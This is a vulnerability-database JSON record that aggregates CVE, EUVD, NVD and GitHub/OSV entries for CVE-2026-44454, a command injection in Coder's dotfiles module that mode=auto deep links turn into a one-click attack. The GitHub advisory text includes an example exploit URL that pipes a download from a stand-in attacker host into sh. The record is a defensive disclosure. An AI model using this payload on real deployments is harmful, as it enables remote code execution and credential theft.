{"id":"EUVD-2026-42087","revision":null,"records":[{"revision":"ca39e54adb4a4c0787e466535a9b4fb0","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44454","aliases":[],"title":"Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent","description":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7 and 2.30.2, the `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. In versions 2.29.7 and 2.30.2, input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminated the command injection at its source.","state":0,"publishedAt":"2026-07-07T20:16:39.161+00:00","modifiedAt":"2026-07-08T13:48:00.841+00:00","affected":[{"ecosystem":"Vendor product","name":"coder","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"coder\",\n                    \"product\": \"coder\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.29.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.30.0, < 2.30.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"}],"references":["https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27","https://github.com/coder/coder/pull/22011","https://github.com/coder/registry/pull/703","https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb","https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82","https://github.com/coder/coder/releases/tag/v2.29.7","https://github.com/coder/coder/releases/tag/v2.30.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44454","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44454","identifiers":["CVE-2026-44454"]},"retained":false,"historicalAffected":[]},{"revision":"72f7ace8cb484c7c8dce593d26e0a207","observedAt":"2026-11-23T15:30:21.101+00:00","statement":{"source":"euvd","id":"EUVD-2026-42087","aliases":["CVE-2026-44454","GHSA-m3cr-vc2j-pm27"],"title":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7 and 2.30.2, the `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution in…","description":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7 and 2.30.2, the `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. In versions 2.29.7 and 2.30.2, input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminated the command injection at its source.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"severity":null}],"references":["https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27","https://github.com/coder/coder/pull/22011","https://github.com/coder/registry/pull/703","https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb","https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82","https://github.com/coder/coder/releases/tag/v2.29.7","https://github.com/coder/coder/releases/tag/v2.30.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-42087","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 7, 2026, 8:16:39 PM","dateUpdated":"Jul 8, 2026, 1:48:00 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-42087","identifiers":["EUVD-2026-42087","CVE-2026-44454","GHSA-m3cr-vc2j-pm27"]},"retained":false,"historicalAffected":[]},{"revision":"bd548d7844de4de3b96d1b9e750ee4a9","observedAt":"2026-10-25T10:17:21.823+00:00","statement":{"source":"nvd","id":"CVE-2026-44454","aliases":[],"title":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7 and 2.30.2, the `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution in…","description":"Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7 and 2.30.2, the `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation. In versions 2.29.7 and 2.30.2, input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminated the command injection at its source.","state":0,"publishedAt":"2026-07-07T21:17:25.18+00:00","modifiedAt":"2026-07-08T19:47:37.463+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb","https://github.com/coder/coder/pull/22011","https://github.com/coder/coder/releases/tag/v2.29.7","https://github.com/coder/coder/releases/tag/v2.30.2","https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27","https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82","https://github.com/coder/registry/pull/703"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44454","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-78"],"productCriteria":["cpe:2.3:a:coder:coder:*:*:*:*:*:go:*:*"],"sourceDates":{"published":"2026-07-07T21:17:25.180","lastModified":"2026-07-08T19:47:37.463"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44454","identifiers":["CVE-2026-44454"]},"retained":false,"historicalAffected":[]},{"revision":"2c1ebf870194462eb08345a44aba3b13","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-m3cr-vc2j-pm27","aliases":["CVE-2026-44454","GO-2026-5897"],"title":"Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent","description":"# Command injection via dotfiles URI parameter combined with workspace auto-creation\n\n## Summary\n\nThe `dotfiles` registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted `dotfiles_uri` value (for example, one containing shell command substitution such as `$(...)`) could achieve command execution in their own workspace. The Create Workspace page's `mode=auto` deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled `param.dotfiles_uri` and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.\n\n## Details\n\n### Command injection in the dotfiles module (root cause)\n\nThe [dotfiles module](https://github.com/coder/registry/tree/main/registry/coder/modules/dotfiles) interpolated the user-provided `dotfiles_uri` value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution (`$(...)`), command separators (`;`, `|`, `&&`), or backticks were interpreted before the `coder dotfiles` CLI was invoked. The Coder CLI itself uses `exec.CommandContext()` with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted `dotfiles_uri` obtained arbitrary code execution in their workspace, even without `mode=auto`.\n\n### Auto-creation amplification (`mode=auto`)\n\nThe Create Workspace page supported a `mode=auto` query parameter that, combined with `param.*` URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, `param.dotfiles_uri`). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.\n\nExample URL:\n\n```\nhttps://<deployment>/templates/<template>/workspace?mode=auto&param.dotfiles_uri=foo$(curl https://attacker.example/x | sh).com\n```\n\n## Impact\n\nArbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With `mode=auto`, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.\n\n## Patches\n\n### coder/registry (primary fix)\n\nInput validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe `eval`/`sh -c` usage was removed. This eliminates the command injection at its source.\n\n- https://github.com/coder/registry/pull/703\n\n### coder/coder (defense-in-depth)\n\nA consent dialog was added that displays all prefilled `param.*` values and blocks creation until the user explicitly clicks **Confirm and Create**. This removes the `mode=auto` one-click amplification vector.\n\n- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR [#22011](https://github.com/coder/coder/pull/22011))\n- Patched releases:\n  - [v2.29.7](https://github.com/coder/coder/releases/tag/v2.29.7) (ESR)\n  - [v2.30.2](https://github.com/coder/coder/releases/tag/v2.30.2) (mainline)\n\n### Recognition\nWe'd like to thank [Aviv Donenfeld](https://github.com/avivdon) for responsibly disclosing this issue in accordance with https://coder.com/security/policy","state":0,"publishedAt":"2026-07-02T18:14:44+00:00","modifiedAt":"2026-07-07T22:30:08.7976466+00:00","affected":[{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.29.7"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.30.0"},{"kind":"fixed","version":"2.30.2"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/coder/coder","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"0.27.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27","https://nvd.nist.gov/vuln/detail/CVE-2026-44454","https://github.com/coder/coder/pull/22011","https://github.com/coder/registry/pull/703","https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb","https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82","https://github.com/coder/coder","https://github.com/coder/coder/releases/tag/v2.29.7","https://github.com/coder/coder/releases/tag/v2.30.2"],"sourceUrl":"https://github.com/advisories/GHSA-m3cr-vc2j-pm27","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-m3cr-vc2j-pm27","identifiers":["GHSA-m3cr-vc2j-pm27","CVE-2026-44454","GO-2026-5897"]},"retained":false,"historicalAffected":[]},{"revision":"23a10991a327402482c6e233594b308e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5897","aliases":["CVE-2026-44454","GHSA-m3cr-vc2j-pm27"],"title":"Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent in github.com/coder/coder","description":"Coder vulnerable to workspace auto-creation via crafted URL parameters without user consent in github.com/coder/coder","state":0,"publishedAt":"2026-07-07T15:26:37+00:00","modifiedAt":"2026-07-07T16:01:25.2801073+00:00","affected":[{"ecosystem":"Go","name":"github.com/coder/coder","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/coder/coder/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.29.7"},{"kind":"introduced","version":"2.30.0"},{"kind":"fixed","version":"2.30.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/coder/coder/security/advisories/GHSA-m3cr-vc2j-pm27","https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb","https://github.com/coder/coder/pull/22011","https://github.com/coder/coder/releases/tag/v2.29.7","https://github.com/coder/coder/releases/tag/v2.30.2","https://github.com/coder/registry/commit/8e68c96633f65a1babd76a93b6923e3deead4a82","https://github.com/coder/registry/pull/703"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5897","license":"OSV · upstream source license applies","key":"osv:GO-2026-5897","identifiers":["GO-2026-5897","CVE-2026-44454","GHSA-m3cr-vc2j-pm27"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-25T09:08:03.1383129+00:00","complete":true,"records":1795,"lastAttemptAt":"2026-11-25T09:08:03.1383129+00:00","lastSuccessAt":"2026-11-25T09:08:03.4916164+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:03.4916169+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8d356adab43082cb10bb7c033ed58312cf2ad2f0fb10e0afdf27fc89fa361f3b-61c00afff0d0aaf7184a0e798c1f6f8f0ada4a53b0e98a4338de85510ff8db34","complete":true,"records":431970,"lastAttemptAt":"2026-11-25T09:08:02.7321275+00:00","lastSuccessAt":"2026-11-25T09:08:02.6708199+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:02.7321275+00:00","snapshotPublishedAt":"2026-11-25T08:32:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-80d396553282463d9146ac7b0c1db9e6","complete":false,"records":13938,"lastAttemptAt":"2026-11-25T09:16:02.3976186+00:00","lastSuccessAt":"2026-11-25T09:16:02.391+00:00","error":"106 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-25T09:16:02.391+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13861,"expectedIdentifiers":13986,"failedIdentifiers":106},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-25T09:08:03.1383129+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-25T09:08:03.1383129+00:00","lastSuccessAt":"2026-11-25T09:08:03.4924829+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:03.4924833+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9e1a24520e7c4783aab8a91fd833fdc4","complete":true,"records":13950,"lastAttemptAt":"2026-11-25T09:08:05.0129274+00:00","lastSuccessAt":"2026-11-25T09:08:05.005+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:05.005+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13986,"expectedIdentifiers":13986,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-e743412268199d418c20ac5ea5d5eefbef4a1c78fcbacada525fcf2201b41d4a","complete":true,"records":10077,"lastAttemptAt":"2026-11-25T09:08:03.0746246+00:00","lastSuccessAt":"2026-11-24T23:11:09.9983084+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:03.0746246+00:00","snapshotPublishedAt":"2026-11-24T22:48:13+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-25T09:08:02.8710487+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:02.8710487+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-40938cbac3e2265a24e0d129a60138a855ec8a44cbd619ad6c0de0b22c0e253f","complete":true,"records":3221,"lastAttemptAt":"2026-11-25T09:08:03.0902329+00:00","lastSuccessAt":"2026-11-24T22:27:06.1844325+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:03.0902329+00:00","snapshotPublishedAt":"2026-11-24T22:03:27+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-c35f45c5df4ebb9f8a4ddc3a2ad351fd1683e98490104938f94d7ebfd2984e89","complete":true,"records":233084,"lastAttemptAt":"2026-11-25T09:08:02.9723395+00:00","lastSuccessAt":"2026-11-25T08:10:20.6836928+00:00","error":null,"lastVerifiedAt":"2026-11-25T09:08:02.9723395+00:00","snapshotPublishedAt":"2026-11-25T07:18:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}